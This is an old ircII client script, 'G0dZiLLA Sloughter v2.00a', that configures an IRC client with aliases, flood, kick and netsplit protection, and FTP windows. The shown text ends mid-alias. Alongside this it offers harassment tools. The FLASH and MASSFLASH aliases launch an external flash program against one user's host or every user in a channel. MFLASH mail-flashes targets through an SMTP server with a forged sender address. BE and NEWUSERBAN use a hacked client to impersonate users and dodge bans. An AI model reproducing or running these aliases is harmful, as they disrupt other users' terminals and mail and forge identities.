### [G0dZiLLA] Sloughter v2.00a
### Original by Vassago (Phoenix)
### Modded by Eliminator (Sloughter v2.00)
### Improved by Chotaire (Godzilla)

^set NOVICE OFF
^set EXEC_PROTECTION OFF

alias ghelp2 {
echo + -------------------------------------------------------------------
echo + [G0dZiLLA] Sloughter V2.00a NEW Commands not mentioned in /ghelp
echo + -------------------------------------------------------------------
echo + MACROEDIT - Now has Macro Edit can come in handy sometimes..
echo + Z# - Were # = 0-9 (This recalls the Macros you edited.)          +
echo + CHANGEMSG - Edit things like Pingmsg,versionmsg,prompt,ect..     +
echo + FLASH - OK lamers USe this for some real Fun!                    +
echo + MASSFLASH - Now fuck the whole channel and flash them all!       +
echo + MASSINVITE - Just a stupid thing I added for kicks..             +
echo + WORDK - Word KIck.. another Stupid thing added..                 +
echo + REMWORD - Remove the Word From Word Kick.. (Stupid)              +
echo + MFLASH - Mail Flash some lamer.. Defaults are set..              +
echo + BE - MUst Have a hacked IRC Client to work this command..        +
echo + NEWUSERBAN - Toggle ON/OFF Must have a hacked IRC Client.        +
echo | UNFLASH - When Lamers Flash you Use this!...
echo | MKHELP - MOrtal Combat Help!!!! For Killer Kicks!...
echo | NCFTHELPP - NCFTP In a Window While On IRC...
echo | FTPHELP - FTP Same As Above..
echo | ANTIMENU - Antikill Menu..
echo | CHANGESERV - Edit Difrent Server List...
echo | MSGRECALL - Re-Call Messages that were sent to you..
echo | MSGSTORE - Turn (ON/OFF) MsgRecall..
echo | NOTE - exp. /note Hello this is a notepad test..
echo | LNOTE - List the Notes that you Did with /note
echo | GHELP2 - Display This Menu..
echo +---------------------------------------------------------------------+
}




# end of title screen set ups ect.. #

set input_prompt <=-Loading In  Assign Messages-=>

# this can be changed while online.. #


assign fingermsg [G0dZiLLA] is all ya know!
assign pingmsg I'm here with the best script, asshole!
assign versionmesg -=> G0DZiLLA Sloughter v2.00a <=-
assign default_server irc.colorado.edu
assign passwd g0dzilla
assign ignore You are Now being Ignored!@#%
assign flood_msg (SloUghTer) Flood Protection Activated!
assign ex [G0dZiLLA]
assign pk <=SloUghTer=> 
assign abkickmsg <=Auto Ban-Kick=>
assign channel_floodmsg <=Auto Channel Flood Activated=>
assign nick_floodmsg <=Auto Nick Flood Activated=>
assign unban_kickmsg <=User Ban, I have no Qlue!=>
assign ignore_types MSG CTCP NOTICES INVITES NOTES CRAP
assign defumes I'm Away, BRB!
assign idlemes <=-SloUghTer V2.00a Auto Away!-=>
assign signmsg <=-[G0dZiLLA] Irc Platform.. out soon!-=>
assign msgname fuckkill
assign oldnick $N
assign numa 5
assign shell_pgm csh
assign usermode +i-s
assign false_files null zero yes true false lice
assign false_chars ** ** ** ** ** *;* ** ** *$$* */*

# a few extra shit things to add! #

@ mflash_prg = [$SloUghTerDir/mflash]
@ flash_prg = [$SloUghTerDir/flash]
@ smtp_serv = [netcom.com]
@ mfrom = [sloughter@fuck.dis.lamer]

set input_prompt <=-Loading In Message Changer Handler-=>

alias changemsg {
pecho +-------------------------------------------------------------------
pecho  SloUghTer's Message Changer!.. (0-10) (C) 1996                     
pecho +-------------------------------------------------------------------
echo | [0] Fingermsg - $fingermsg
echo | [1] Pingmsg - $pingmsg
echo | [2] Versionmesg - $versionmesg
echo | [3] Passwd - $passwd
echo | [4] Defumes - $defumes
echo | [5] Idlemes - $idlemes
echo | [6] Usermode - $usermode
echo | [7] Signmsg - $signmsg
echo | [8] MsgNumba - $numa
echo | [9] (blank) -
echo | [10] (blank) -
pecho +-----------------------------------------------------------------
pecho  New and Inproved.. By Eliminator!....  (0-10) (C) 1996           
pecho +-----------------------------------------------------------------


@ temp = [$"Enter # you want to change:"]
  
   if ([$temp]==[0]) {@ temp = [$"Enter New Fingermsg:"]
   ^assign fingermsg $temp}
   if ([$temp]==[1]) {@ temp = [$"Enter New Pingmsg:"]
   ^assign pingmsg $temp}
   if ([$temp]==[2]) {@ temp = [$"Enter New Versionmesg:]
   ^assign versionmesg $temp}
   if ([$temp]==[3]) {@ temp = [$"Enter New Passwd:"]
   ^assign passwd $temp}
   if ([$temp]==[4]) {@ temp = [$"Enter New Defumes:"]
   ^assign defumes $temp}
   if ([$temp]==[5]) {@ temp = [$"Enter New Idlemes:"]
   ^assign idlemes $temp}
   if ([$temp]==[6]) {@ temp = [$"[Elite] Enter New UserModes:"]
   ^assign usermode $temp}   
   if ([$temp]==[7]) {@ temp = [$"[Elite] Enter New Signmsg:"]
   ^assign signmsg $temp}
   if ([$temp]==[8]) {@ temp = [$"[Elite] Enter # To Auto Erace:"]
   ^assign numa $temp}
   if ([$temp]==[]) {pecho You Must Enter a # (0-9)...}
pecho Changed!..
}

set input_promp Loading Changeserv Stats!..

# server list changer #

alias changeserv {
echo +-------------------------------------------------+
echo | <=-(SloUghTer $version )-=> Server List Changer  |
echo +-------------------------------------------------+
echo |
echo | Server #0 - $server0
echo | Server #1 - $server1
echo | Server #2 - $server2
echo | Server #3 - $server3
echo | Server #4 - $server4
echo | Server #5 - $server5
echo | Server #6 - $server6
echo | Server #7 - $server7
echo | Server #8 - $server8
echo | Server #9 - $server9
echo +------------------------------------------------+
echo | (D) Default Server - $default_server
echo +------------------------------------------------+
echo |                                                |
echo +------------------------------------------------+
wait
	  @ temp = [$"[Elite] Make Your Choice:"] 
		if (([$temp]>=[0]&&[$temp]<=[9])||([$temp]==[d])) {
		 if ([$temp]==[d]) {@ temp = [$"[Elite] Enter New Default Server:"]
		   ^assign default_server $temp}
		  ^assign x $temp
		  @ temp2 = [$"[Elite] Enter New Server:"]
		    ^assign server$temp $temp2}

{pecho You Need To Enter A # (0-9) Or (D) For Default Change!..}
}
 

# macros edit keys! #

alias macroedit {
echo +--------------------------------------------------------------------+
echo |          <=-SloUghTer V1.0-=>  Macro Edit Commands!      |
echo +--------------------------------------------------------------------+
echo |                                                                    |
echo | Macro 0 - $macro0                                                  |
echo | Marco 1 - $macro1                                                  |
echo | Macro 2 - $macro2                                                  |
echo | Marco 3 - $macro3                                                  |
echo | Macro 4 - $macro4                                                  |
echo | Macro 5 - $macro5                                                  |
echo | Macro 6 - $macro6                                                  |
echo | Macro 7 - $macro7                                                  |
echo | Macro 8 - $macro8                                                  |
echo | Macro 9 - $macro9                                                  |
echo +--------------------------------------------------------------------+
echo | Pick a # were # = 0 - 9,    Codded By Eliminator!..                |
echo +--------------------------------------------------------------------+
wait

      @ temp = [$"[Elite] Pick a # to Edit: "]
	if ([$temp]>=[0]&&[$temp]<=[9]) {@ temp2 = [$"[Elite] Enter New Macro:"]
		 ^assign a $temp
		 ^assign macro$a $temp2}
{pecho You Must Enter a # (0-9) Type /macroedit and Try Again..}
pecho Macro$a Is Now Changed
}


# This is the macro put out area! #

alias z"*" {
pecho Using Macro #$a;^say $macro$a
}
# End of Macro area! #


# set oldnick to curent nick #

/alias set_oldnick {
   ^assign oldnick $N
}
/set_oldnick
#################################################################


set input_prompt [3%] <=-Loading Sensor Setings-=>



# Sensor Settings (Flood/Mass Protection)

@ msgsensor    =  6
@ noticesensor =  10
@ ctcpsensor   =  4
@ nicksensor   =  3
@ msensor      =  2
@ ksensor      =  3
@ dcclimit     =  8
@ resetcount   =  16
@ ignorecount  =  300

# Default Assigns (Can be changed while online)

assign extmes ON
assign namejoin OFF
assign floodp ON
assign chanprot ON
assign idle_time 5
assign newuserban OFF
assign prot ON
assign nhp OFF
assign rejoin ON
assign autochannels ALL
assign beepprot OFF
assign ctcpauto ON
assign autorename ON
assign autoop on

assign TOOPVIEW OFF
assign AUTOGET ON
assign AUTOSEND ON
assign AUTOCLOSE OFF
assign SECURITY OFF
assign FAKENULL ON
assign HIDDENFILE ON
assign DCCSEND OFF
assign AUTOCLOSEWHENAWAY ON
assign NOISE ON
assign OVERWRITE OFF

# SloUghTer Directorys

EVAL ^assign SloUghTerDir $HOME/.godzilla
EVAL ^assign MainDir $W
EVAL ^assign UPLOADDIR $W
EVAL ^assign DOWNLOADDIR $W

### End Customize Section

### Initializers

assign SCRIPTLOADING YES

^set status_format %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%M%F %W%>%U 
EVAL ^assign OLD_STATUS $STATUS_FORMAT

# EVAL echo $ex SloUghTer Version $sver Now Loading... Please wait!

@ mcount = 0
@ kcount = 0
@ msgcount = 0
@ noticecount = 0
@ ctcpcount = 0
@ dccsent = 0
@ nickcnt = 0
@ away_messages = 0
@ logged_entries = 0
@ msgmax = 10
@ MYSEND = [NO]
@ FRIENDADD = 0 0
@ PRIVADD = 0
@ ENEMYADD = 0
@ COMMENTADD = 0
@ GETCOUNT = 0
@ TOTPACK = 0

EVAL ^assign asve $SloUghTerDir/save.ex
EVAL ^assign baksve $SloUghTerDir/exsave.ex
EVAL ^assign awayfle $SloUghTerDir/away.ex
EVAL ^assign offerfile $SloUghTerDir/offer.ex
EVAL ^set logfile $MainDir/irclog.ex

EVAL ^assign flood_ok $help_service

assign defban s
assign ban_name SCREW
assign change_stat ON
assign remote OFF
assign msgstore ON
assign showkill ON
assign awaystat ON
assign OPVIEWING OFF
assign writer Elim
assign sver 2.0
assign isaway NO
assign logirc OFF
assign bogus_patterns *fuck* *shit* *suck* *dick* *penis* *cunt* *haha* *fake* *split* *ass* *hehe* *bogus* *yawn* *leet*

^set AUTO_UNMARK_AWAY OFF
^set AUTO_WHOWAS ON
^set BEEP ON
^set BEEP_MAX 3
^set BEEP_ON_MSG NONE
^set BEEP_WHEN_AWAY OFF
^set BOLD_VIDEO ON
^set CHANNEL_NAME_WIDTH 12
^set CLOCK ON
^set CLOCK_24HOUR OFF
^set CLOCK_ALARM NULL
^set COMMAND_MODE OFF
^set CONTINUED_LINE  
^set DCC_BLOCK_SIZE 1024
^set DISPLAY ON
^set FLOOD_WARNING ON
^set FULL_STATUS_LINE ON
^set HELP_WINDOW OFF
^set HIDE_PRIVATE_CHANNELS OFF
^set HIGHLIGHT_CHAR BOLD
^set HISTORY 25
^set HOLD_MODE OFF
^set INDENT ON
^set INPUT_PROMPT $prompt
^set INPUT_PROTECTION ON
^set INSERT_MODE ON
^set INVERSE_VIDEO ON
^set LASTLOG 40
^set LASTLOG_LEVEL ALL DCC
^set LOG OFF
^set MAIL 1
^set MAX_RECURSIONS 200
^set NO_CTCP_FLOOD ON
^set NOTIFY_ON_TERMINATION OFF
^set SCROLL ON
^set SEND_IGNORE_MSG OFF
^set SHOW_AWAY_ONCE ON
^set SHOW_CHANNEL_NAMES ON
^set SHOW_END_OF_MSGS OFF
^set SHOW_NUMERICS OFF
^set SHOW_STATUS_ALL ON
^set SHOW_WHO_HOPCOUNT ON
^set STATUS_AWAY  (A)
^set STATUS_CHANNEL  %C
^set STATUS_CHANOP @
^set STATUS_CLOCK  %T
^set STATUS_HOLD  ** MORE **
^set STATUS_MODE  (+%+)
^set STATUS_MAIL  M:%M
^set STATUS_NOTIFY  A:%F
^set STATUS_OPER *
^set STATUS_OVERWRITE (ow) 
^set STATUS_QUERY  Q:%Q
^set STATUS_UMODE  (+%#)
^set STATUS_USER  [SloUghTer]
^set STATUS_WINDOW ^
^set SUPPRESS_SERVER_MOTD ON
^set TAB ON
^set TAB_MAX 3
^set UNDERLINE_VIDEO ON
^set USE_OLD_MSG OFF
^set USER_WALLOPS OFF
^set VERBOSE_CTCP OFF
^set WARN_OF_IGNORES ON

bind meta1-[ meta2
bind meta1-O meta2
bind meta2-A backward_history
bind meta2-B forward_history
bind meta2-C forward_character
bind meta2-D backward_character
bind ^B self_insert
bind ^_ self_insert
bind ^V self_insert
bind ^Z stop_irc
bind ^X switch_channels
bind ^O parse_command ig $,
bind ^I parse_command ^getmsg 1 $msglist
bind ^R parse_command ^getmsg -1 $msglist
bind ^F parse_command FLUSH

# Creates the SloUghTer Directory #

EVAL ^cd $SloUghTerDir
wait
EVAL if ([$W]!=[$SloUghTerDir]) {
   EVAL ^exec -name sloughter mkdir $SloUghTerDir
   wait %sloughter
   EVAL ^exec -name sloughter chmod 700 $SloUghTerDir
   wait %sloughter
}
EVAL ^cd $MainDir
wait

### Basic Aliases

alias ww whowas
alias scan names $C
alias sc names $C
alias n notice
alias wi whois
alias unignore noig
alias lm {dirlm}
alias ln {dirln}
alias chops w -chops
alias re redirect
alias c mode $C $0-
alias dr //dcc rename
alias dl //dcc list
alias dc //dcc chat
alias dcg //dcc close get
alias ex exec
alias wii whois $0 $0
alias ls exec ls -al
alias cat exec cat
alias r msg , $0-
alias m msg
alias bklist listbk
alias umode mode $N
alias chat //dcc chat $decode($chatter)
alias nochat //dcc close chat $decode($chatter)
alias rmode ^set status_mode  (+%+)
alias nokey quote MODE $C -k $decode($chankey)
alias nnotice quote NOTICE $0 :$1-
alias kkick quote KICK $0 $1 :$2-
alias mmode quote MODE $0-
alias unbanlop nunbanlop $C $0-
alias mc quote MODE $C -lsnmpitk $decode($chankey)
alias ml quote MODE $C +inst-lmpk $decode($chankey)
alias mn quote MODE $C +nst-ilmpk $decode($chankey)
alias _checkkey if (!rmatch($M *k*)) {^set status_mode  (+%+)}{^timer 15 _checkkey}
alias sec_check if (rmatch($0 $SECLIST)) {@ FUNCTION_RETURN = [YES]}{@ FUNCTION_RETURN = [NO]}
alias wl wholeft
alias wh who -host
alias ap autoping
alias i inv $,
alias bkick bk
alias deop dop
alias mop mass o
alias mdop mass d
alias mv mass v
alias mdv mass s
alias masskick mass k
alias dop ndop $C $0-
alias lk mass lk
alias submode if (mcount>0) {@ mcount = mcount - 1}
alias subkick if (kcount>0) {@ kcount = kcount - 1}
alias chanpass if ((match($strip(# $0) $AutoChannels))||([$AutoChannels]==[ALL])) {^assign FUNCTION_RETURN YES}
alias enickonly {^assign FUNCTION_RETURN $encode($left($index(! $0) $0))}
alias userdomain @ function_return = LEFT($INDEX(@ $0) $0)##[@]##MID(${1+INDEX(. $0)} 99 $0)
alias pecho {^xecho -level crap $ex $0-}
alias pubact if (isop($N $1)) {/kkick $1 $0 $channel_floodmsg}
alias pubecho if ([$1]==[$C]) {/echo <$0> $2-}{/echo <$0:$1> $2-}
alias safe {^assign FUNCTION_RETURN $strip(\;#\(\)+*/\\=\{\}<>[]!$$%^~`,?|'\"
 $0-)}
alias safe2 {^assign FUNCTION_RETURN $strip(\;#\(\)+*/\\=\{\}<>[]$$%^~`,?|'\"
 $0-)}
alias hignore @ function_return = fixname($0) ## [@] ## fixdomain($1)
alias join if ((![$0])||([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[0])||([-]==[$[1]0])) { //join $0- } { //join #$0- }
alias leave if (![$0]) { //leave $C } { if (([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[*])) { //leave $0 } { //leave #$0 } }
alias j join
alias l leave

### ftp ncftp window area ###
# pecho Loading FTP NCFTP Window Commands!..


#ftp stuff (prev ftp.scr by epitaph)
#This Script Allows you to FTP while in iRC!
#useless if you have 'screen', but very helpful for those ppl that don't.
#assign this to your ftp programs.


@ ftp_pgm = [ftp]
@ ncftp_pgm = [ncftp]
@ fsp_pgm = [fsp]
alias decho echo *** (help) $0-
alias ncftp {
	^window new name ncFTP level crap lastlog all
	^exec -window -name ncFTP $ncftp_pgm $0-
	hmf
	^query %ncFTP
	^on ^exec_exit ncFTP {hmf;window show ncftp kill}
 }
 
alias ncftphelp {
	^decho               Commands     
	^decho   /ncftp site [eg /ncftp ftp.cdrom.com]
	^decho        ^W will switch you between windows
	^decho   /wk Will kill the current window
	^decho   /hmo to toggle hold mode on
	^decho   /hmf to toggle hold mode off
	^decho   To specify login and passwd use the -u option.
}
alias ftp {
	^window new name FTP level crap lastlog all
	^exec -window -name FTP $ftp_pgm $0-
	hmf
	^query %FTP
	^on ^exec_exit FTP {hmf;window show ncftp kill}
 }

alias ftphelp {
	^decho               Commands     
	^decho   /ftp site (eg /ftp ftp.usis.com)
	^decho        ^W will switch you between windows
	^decho   /wk Will kill the current window
	^decho   /hmo to toggle hold mode on
	^decho   /hmf to toggle hold mode off
}

alias fsp {
	^window new name FSP level crap lastlog all
	^exec -window -name FSP $fsp_pgm $0-
	hmf
	^query %FSP
	^on ^exec_exit FSP {hmf;window show ncftp kill}
 }

alias fsphelp {
	^decho            Commands     
	^decho   /fsp site #port (eg /fsp ftp.idsoftware.com 23)
	^decho        ^W will switch you between windows
	^decho   /wk Will kill the current window
	^decho   /hmo to toggle hold mode on
	^decho   /hmf to toggle hold mode off
}

alias hmo ^set hold_mode on
alias hmf ^set hold_mode off
alias FTPcmds {
	^decho            Commands     
	^decho   /NCftphelp for NCftp help.
	^decho   /ftphelp for ftp help.
	^decho   /fsphelp for fsp help.
}

###################################
# FOr new user Command            #
###################################

alias sloughter {load ~/sloughter.elim}

on ^474 * {
  if ([$newuserban]==[ON]) {
  pecho *** Your Were Banned From Channel $1
  if ([$N] == [Elim]) {
    nick $randomstring
    join $1
    } {
    nick Elim
    newuser $randomstring
    timer 6 join $1
    }
}
}

alias testrandom {pecho $randomstring}

# just to be someone. #

alias be {
  ^on ^311 * {
      ^on 311 -*
      newuser $2 $5-
      }
   whois $0
}

##########################################################
# This is the FLASH,MASSFLASH Script part..              #
# Now this shit will really fuck someones day up!..      #
##########################################################
assign flashcommand flash

alias flash {
  If ([$0]) {
    ^Userhost $0 -CMD if ([$3]) {
      if ([$4] != [<UNKNOWN>]) {
	exec $flash_prg $strip(#~ $3)@$4 killer &
	exec flash $strip(#~ $3)@$4 killer &
	echo *** Flashed $0 \($strip(#~ $3)@$4\)
	}
	{/echo *** Cannot find $0}
      }
    }
    {/echo *** You must specify a nick.}
  }
alias listmassflash {
  exec -name $flash_prg $FLASHCOMMAND $1 killer
  wait %flash
  echo *** Flashed $0 \($1\)
  if ([$2]) {^listmassflash $2-}
  }
alias massflash {
  ^on ^who * {/if (([$1] != [$N])&&([$1] != [$GBNICK])) {
  ^assign FLASHLOSERS $1 $strip(~ $3)@$4 ${FLASHLOSERS}}}
  ^who *
  wait
  ^on who - *
  ^listmassflash $FLASHLOSERS
  ^assign -FLASHLOSERS
  }


# End OF FLASH,MASSFLASH Commands! #
# Mail Flash Modded by Eliminator! #

alias mflash {
   if ([$0]) {
   if ([$1]) {@ mserver = [$2]}
   if ([$mserver]==[]) {pecho I guess I will Use the Default SMTP Server!
     @ mserver = [$smtp_serv]
}
  if ([$2]==[]) {@ from = [$2]}
  if ([$from]==[]) {pecho I guess I will Use the Default From addy!
     @ from = [$mfrom]
}
userhost $0 -cmd if ([$4]!=[<UNKNOWN>]) {
EVAL ^exec $mflash_prg $mserver $from $strip(#~ $3)@$4
pecho Cool! I'm Mail Flashing $0!$strip(#~ $3)@$4
}{pecho $0: Hey Brain dead!, There is No such nick as far as I can tell!
}
^assign -mserver;^assign -from
}{pecho /MFLASH <nick> <SMTP Sever> <fake From Addy>
pecho exp. /MFLASH lamer netcom.com lamer@kiss.my.ass.lamer
pecho If No SMTP Server is Specified the Default Is Used!
pecho If No Fake Addy is Specified the Default Is Used!
pecho You Must have mflash.c Compiled...
}
}


#####################################################################
# The Un-Flasher sorce.. Very good script part for all thoes lamers #
# if the first unflash doesnt work then comment the first then      #
# un-comment the other... But all should work very well..           #
# its kinda funny that I'M even adding a flash script part..        #
#####################################################################

ALIAS unflash {
^set status_user c
^set status_user 0\;\24r
^set status_user 0m
^set status_user ?5l
^set status_user  Eliminator's Screen Re-Seter
pecho Press Control-L to Refresh Your Screen
}

# ALIAS unflash {
# ^set status_clock c
# ^set status_clock 0\;\24r
# ^set status_clock 0m
# ^set status_clock ?5l
# ^set status_clock  Eliminator's Screen Re-Seter
# timer 3 ^set status_clock  %T
# pecho Press Control-L to Refresh Your Screen
# }


# End of UN-FLASH #

######################################################################

alias autoping {
   ^set STATUS_USER  Lag ? - [SloUghTer]
    quote PING $time() $S
}

alias sb {
   ^on ^367 "*" {
	 if ([$4]) {/echo *** $1 $2 \(By $3, $mid(4 15 $stime($4))\)}
	 {/echo *** $1-}
   }
   if ([$0]) {//mode $0 +b}
   {//mode $C +b}
}

alias w {
   if ([$0]) {
      if ([$0]==[-chops]) {//who $0 $C $1-} 
      {//who $0-}
   }
   {//who *}
}

alias t {
  if ([$0]==[#*]) {//topic $0-}
  {//topic $C $0-}
}

alias inv {
  if ([$0]) {
	if ([$1]) {//invite $0-}
	{//invite $0 $C}
  }
  {/pecho You need to specify a nick to invite.}
}

alias serv { 
  if ([$0]) {//server $0-}
  {//server $default_server}
}

alias pubcat {
  if ([$0]) {^exec -name pubcat cat $0}
  {/pecho Usage: /pubcat <filename>}
}

alias fing {
  if ([$0]) {/ctcp $0 FINGER}
  {/ctcp $C FINGER}
}

alias ver {
  if ([$0]) {/ctcp $0 VERSION}
  {/ctcp $C VERSION}
}

alias p {
  if ([$0]) {//ping $0}
  {//ping $C}
}

alias op {
  mmode $C +ooo $0 $1 $2
  if ([$3]) {/op $3-}
}

alias ndop {
    mmode $0 -oo $1 $2
    if ([$3]) {/ndop $0 $3-}
}

alias dcc {
     //dcc $0-
     if ([$0]==[SEND]) {
	 @ dccsent = dccsent + 1
	 ^timer 120 checksend $1 $2
     }
}

### Error Message Editing/Commenting

on ^002 "*" #
on ^305 "*" #
on ^306 "*" #
on ^443 "*" #
on ^401 "% % No such nick (channel)" #

alias do301 {
    ^on ^301 "*" { 
	  if ([$0]!=[$N]) {/echo *** $0 is away: $1-}
    }
}

on ^404 "*" check_synch $0-
on ^482 "*" check_synch $0-

alias check_synch {
   if ([$0]!=[$desynch]) {
      if ([$0]!=[$S]) {
	 pecho $0 is desynched from the IRC Network.
	^assign desynch $0
	^timer -delete 821
	^timer -refnum 821 180 ^assign -desynch
      }
      {/echo *** $1-}
   }
}

### MODE and KICK Protection (by Vassago)

alias mdact {
   if ((isop($N $1))&&([$mdwait]==[])&&([$decode($0)]!=[$N])) {
	mmode $1 -o $decode($0)
	pecho MASS DEOP DETECTED. By: $decode($0) On: $1
       ^assign mdwait YES
       ^timer -delete 793
       ^timer -refnum 793 8 ^assign -mdwait
   }
   @ mcount = 0
}

alias kact {
   if ((isop($N $1))&&([$kwait]==[])&&([$decode($0)]!=[$N])) {
	mmode $1 -o $decode($0)
	pecho MASS KICK DETECTED. By: $decode($0) On: $1
       ^assign kwait YES
       ^timer -delete 794
       ^timer -refnum 794 8 ^assign -kwait
   }
   @ kcount = 0
}

alias mdtest {
    if ([$0]==[$lastmd]) {
	@ mcount = mcount + $2
	^timer 12 submode
	if (mcount>msensor) {/mdact $0 $1}
    }
    {
       ^assign lastmd $0
	@ mcount = $2
       ^timer 12 submode
	if (mcount>msensor) {/mdact $0 $1}
    }
}

alias ktest {
    if (([$0]==[$lastmdk])&&([$0]!=[$encode($N)])) {
       @ kcount = kcount + 1
       ^timer 12 subkick
       if (kcount>ksensor) {/kact $0 $1}
    }
    {^assign lastmdk $0}
}

### MODE & KICK Handlers (by Vassago & YaZoO)

on -raw_irc "% MODE *" {
  @ mdcnt = 0
  @ nixcnt = 0
  ^assign mde +
  ^assign mdech $3
  ^assign nix $4-
  ^assign mdchop $encode($left($index(! $0) $0))
  if (([$prot]==[ON])&&(rmatch($3 -ooo* *-ooo*))) {/mdact $mdchop $2}
  while (mid($mdcnt 1 $mdech)!=[]) {
    ^assign mdecc $mid($mdcnt 1 $mdech)
    if (([$mdecc]==[-])||([$mdecc]==[+])) {^assign mde $mdecc}
    {
     if (match($mde$mdecc +b -b +o -o +k -k +l -l +m -m)) {
     if ([$mde$mdecc]==[+b]) {
       if ((match($word($nixcnt $nix) $ownadd))&&(rmatch($0 *!*))) {/bansave $2 $mdchop $word($nixcnt $nix)}
       if ((!rmatch($0 *!*))&&(isop($N $2))&&([$nhp]==[ON])&&([$SAVEBAN]==[])) {/mmode $2 -b $word($nixcnt $nix)}
       ^assign -SAVEBAN
     }
     if ([$mde$mdecc]==[+o]) {
	if ((!rmatch($0 *!*))&&(isop($N $2))&&([$nhp]==[ON])) {/mmode $2 -o $word($nixcnt $nix)}
     }
     if ([$mde$mdecc]==[-o]) {
	if ([$prot]==[ON]) {/mdtest $mdchop $2 1}
     }
     if ([$mde$mdecc]==[+k]) {
       if ((rmatch($word($nixcnt $nix) $false_chars))&&(rmatch($0 *!*))) {
	  ^set status_mode  DEFLECTED!
	  ^timer 15 _checkkey
	   if ((isop($N $2))&&([$chanprot]==[ON])) {/mmode $2 -k $word($nixcnt $nix)}
       }
       {/if ((!rmatch($0 *!*))&&(isop($N $2))&&([$NHP]==[ON])) {/mmode $2 -k $word($nixcnt $nix)}}
       ^assign chankey $encode($word($nixcnt $nix))
     }
     @ nixcnt = nixcnt + 1
     }
    }
    @ mdcnt = mdcnt + 1
  }
}

on ^mode "%.% *" pecho SERVER MODES DETECTED. In $1: \'$2-\'

alias bansave {
    if (isop($N $0)) {
	mmode $0 -ob $decode
($1) $2
	kkick $0 $decode($1) $uban_kickmsg
    }
   ^assign SAVEBAN YES
    pecho BAN ON YOU DETECTED. By: $decode($1)
    log You were banned from $0 by $decode($1)\.
}

on -raw_irc "% KICK *" {
  ^assign kickchan $strip(: $2)
  ^assign kickperson $encode($left($index(! $0) $0))
  if ([$prot]==[ON]) {/ktest $kickperson $kickchan}
  if ([$3]==[$N]) {
     if ([$REJOIN]==[ON]) {^timer 3 //join $kickchan}
     log You were kicked from $kickchan by $decode($kickperson)\. Reason: $4-
  }
}

### Multi-Channel Nickname Flood Protection (by Vassago)

on -channel_nick "*" {
  if ( ([$chanprot]==[ON])&&([$2]!=[$N])) {
    if ([$newnick1]==[$encode($1)]) {@ nickcnt = nickcnt + 1}
       if (nickcnt==nicksensor) {
	  if (isop($N $0)) {
	     kkick $0 $2 $nick_floodmsg
	     pecho NICK FLOOD DETECTED. On $0 by: $2
	  }
	  @ nickcnt = 0
       }
      ^assign newnick1 $encode($2)
      ^timer 30 ^assign -newnick1
      ^timer 30 @ nickcnt = 0
    }
}

### JOIN Functions (by Vassago)

alias autocheck {
  if ([$ainuse]==[]) {
   ^assign ainuse YES
    foreach ENEMIES XX {
       if ((rmatch($ENEMIES[$XX] $1))||(match($ENEMIES[$XX] $1))) {
	    if ([$bkmatch]==[]) {
		if ([$COMMENTS[$XX]]!=[]) {
		    mmode $0 -o+b $decode($2) $ENEMIES[$XX]
		    kkick $0 $decode($2) $COMMENTS[$XX]
		}
		{
		    mmode $0 -o+b $decode($2) $ENEMIES[$XX]
		    kkick $0 $decode($2) $abkickmsg
		}
		^assign bkmatch YES
	    }
       }
    }
    ^assign -bkmatch
  }
  {^timer 1 autocheck $0-}
  ^assign -ainuse
  if (([$autoop]==[ON])&&([$chanpass($0)]==[YES])&&(rmatch($1 $OPLIST))) {/mmode $0 +o $decode($2)}
}

on -raw_irc "% JOIN *" {
   ^assign jchan $strip(: $2)
    if (isop($N $jchan)) {/autocheck $jchan $safe2($0) $encode($left($index(! $0) $0))}
}

on ^join "*" {^netjoined $encode($tolower($1)) $encode($0) $1 $0 $safe($Userhost())}

### Netsplit Detection (by Daemon - Mods <mostly deletions> by Vassago)

alias netclean {
  foreach splittime ii
  {
    foreach splittime.$ii jj
    {
      if ( time() - splittime[$ii][$jj] > 300 )
      {
	foreach signcross.$(ii).$jj xx
	{
	  foreach signcross.$(ii).$(jj).$xx yy
	  {
	    ^assign -signcross[$ii][$jj][$xx][$yy]
	    ^assign -signoffs[$xx][$yy]
	  }
	}
	^assign -xx
	^assign -yy
	^assign -isbroke[$ii][$jj]
	^assign -splitname[$ii][$jj]
	^assign -splittime[$ii][$jj]
      }
    }
  }
  ^assign -ii
  ^assign -jj
}

alias isbogus {
     if ([$3]) { @ function_return = 1 }
     if (rmatch(.$1. $bogus_patterns *..*)) { @ function_return = 1 }
     if (rmatch(.$2. $bogus_patterns *..*)) { @ function_return = 1 }
}

on ^channel_signoff "% % %.% %.*" {
      if (isbogus($1-)) {/echo *** Signoff: $1 \($2-\)}
      {^netbroke $encode($tolower($0)) $encode($1) $encode($2).$encode($3) $2-}
}

alias netbroke {
  ^assign signcross[$2][$0][$1] 1
  ^assign signoffs[$0][$1] $2
  ^assign splittime[$2] $time()
   if (isbroke[$2]==[]) {
      ^assign isbroke[$2] 1
      ^assign splitname[$2] $3-
      ^xecho -window OpView $ex Netsplit detected at $Z: \($3-\)
      ^xecho -window OpView $ex Type /wholeft to see who split away.
   }
}

alias netjoined {
  if (signoffs[$0][$1]) {
    if (isbroke[$signoffs[$0][$1]]) {^xecho -window OpView $ex Netjoined at $Z \($splitname[$signoffs[$0][$1]]\)}
    ^assign -isbroke[$signoffs[$0][$1]]
    ^assign -signcross[$signoffs[$0][$1]][$0][$1]
    ^assign -signoffs[$0][$1]
  }
  {
     if ([$2]==[$C]) {/echo *** $3 \($4-\) has joined channel $C}
     {/echo *** $3 \($4-\) has joined channel $2\}
  }
}

alias netpurge {
   purge isbroke
   purge splitname
   purge splittime
   purge signcross
   purge signoffs
}

alias purge {
   foreach $0 ii {/purge $0.$ii}
   ^assign -ii
   ^assign -$0
}

alias lformat {
   @ IRCII.word = [$1-]
   if (@IRCII.word < [$0]) {@ function_return = [$([$0]IRCII.word)]}
   {@ function_return = [$IRCII.word]}
}

alias wholeft {
  foreach signoffs ii {
     foreach signoffs.$ii jj {^xecho -window OpView $ex $lformat(15 $decode($ii)) $lformat(10 $decode($jj)) $splitname[$signoffs[$ii][$jj]]}
  }
  ^assign -ii
  ^assign -jj
}

### Flood Handling Routines (by Vassago)

alias fcheck {
 if (([$floodp]==[ON])&&(!match($0 $flood_ok))) {
   if ((match(**** $3-))||(match(**** $3-))) {
	  ignore_flood $0 $1\-CHARACTERS $2
	  clearflood $1
	 ^assign FUNCTION_RETURN ON
   }
   if (([$lastmsger]==[$tempflood])||([$lastnoter]==[$tempflood])||([$lastctcper]==[$tempflood])) {
	if ([$1]==[MSG]) {
	    @ msgcount = msgcount + 1
